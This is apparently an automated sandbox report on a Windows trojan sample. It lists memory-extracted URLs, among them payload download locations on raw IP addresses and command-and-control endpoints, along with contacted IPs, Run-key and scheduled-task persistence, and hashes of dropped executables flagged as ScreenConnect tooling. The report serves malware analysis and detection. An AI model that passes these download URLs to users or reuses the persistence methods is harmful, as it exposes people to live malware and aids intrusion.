http://185.196.10.57/selectex-file-host/Support.exeX	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exelert.exejF	sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49505000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/b	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc:443/socket/nx8d.exe/	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp	false
https://api.msn.com/q	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F3560000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E49481000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/e;	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exe	sys_updater.exe, 0000001B.00000003.2757593840.00000159F35FD000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E49505000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49505000.00000004.00000020.00020000.00000000.sdmp	false
https://discord.com/api/v9/users/	MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/k	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exeh7	explert.exe, 00000004.00000003.2049062888.000000000142F000.00000004.00000020.00020000.00000000.sdmp	false
http://www.galapagosdesign.com/DPlease	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.fonts.com	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.sandoll.co.kr	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/U	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.urwpp.deDPlease	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc:443/socket/b.cc/	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	false
http://www.zhongyicts.com.cn	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.sakkal.com	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/Z	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.216.214.218/	explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.fontbureau.com	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://api.ip.sb/ip	MSBuild.exe, 0000000C.00000002.1842346912.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exe:	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	false
http://www.m.	sys_updater.exe, 0000001F.00000003.2918254433.0000020E49495000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/;;	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	false
http://185.216.214.218/Population.exet.exeh	explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exeswFCHOzyfyz5b.exe	sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/acev.exe%	explert.exe, 00000004.00000003.1829245052.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1847987081.0000000001424000.00000004.00000020.00020000.00000000.sdmp	false
https://discord.0v	MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/8	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exelert.exe)Gg	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BD6000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/T;	sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.216.214.218/Population.exe	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.carterandcone.coml	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc:443/socket/?id=5A9B846E0A19DD545B8CA4BF94E01DCEB8D04EDC07764AA4329CDB473E7FBA	sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/;	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.fontbureau.com/designers/cabarga.htmlN	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://go.microso(	sys_updater.exe, 00000018.00000003.2650108761.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2650910116.0000021E02FD0000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651562106.0000021E02FD6000.00000004.00000020.00020000.00000000.sdmp	false
http://www.founder.com.cn/cn	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.fontbureau.com/designers/frere-user.html	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://go.2	sys_updater.exe, 00000018.00000003.2650108761.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2650910116.0000021E02FD0000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651562106.0000021E02FD6000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/O;.	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	false
http://www.jiyu-kobo.co.jp/	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exelert.exe	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BD6000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49505000.00000004.00000020.00020000.00000000.sdmp	false
https://feedback.screenconnect.com/Feedback.axd	FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp	false
http://www.fontbureau.com/designers8	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://api.msn.com/	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F3560000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E49481000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/	sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.216.214.218/Population.exeU	explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/socket/?id=5A9B846E0A19DD545B8CA4BF94E01DCEB8D04EDC07764AA4329CDB473E7FBAA3&u	sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/2;	sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.196.10.57	unknown	Switzerland	42624	SIMPLECARRIERCH	false
212.47.253.124	unknown	France	12876	OnlineSASFR	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
146.59.154.106	unknown	Norway	16276	OVHFR	false
185.216.214.218	unknown	Germany	205388	SERVERDISCOUNTERserverdiscountercomDE	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1479881
Start date and time:	2024-07-24 09:25:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RPHbzz3JqY.exe renamed because original name is a hash value
Original Sample Name:	848abdbd09c052799a0e0180b59f6fee.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@69/36@0/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 43 Number of non-executed functions: 146
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
03:26:26	API Interceptor	103676x Sleep call for process: explert.exe modified
03:27:23	API Interceptor	57898x Sleep call for process: IIZS2TRqf69aZbLAX3cf3edn.exe modified
03:29:23	API Interceptor	95x Sleep call for process: Cerker.exe modified
08:26:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce explert.exe C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
08:26:25	Task Scheduler	Run new task: explert.exe path: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
08:26:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce explert.exe C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
08:27:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
08:27:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
08:27:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
08:27:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
08:28:40	Task Scheduler	Run new task: Cerker.exe path: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
08:28:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
08:28:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe, Author: Joe Security
Reputation:	unknown
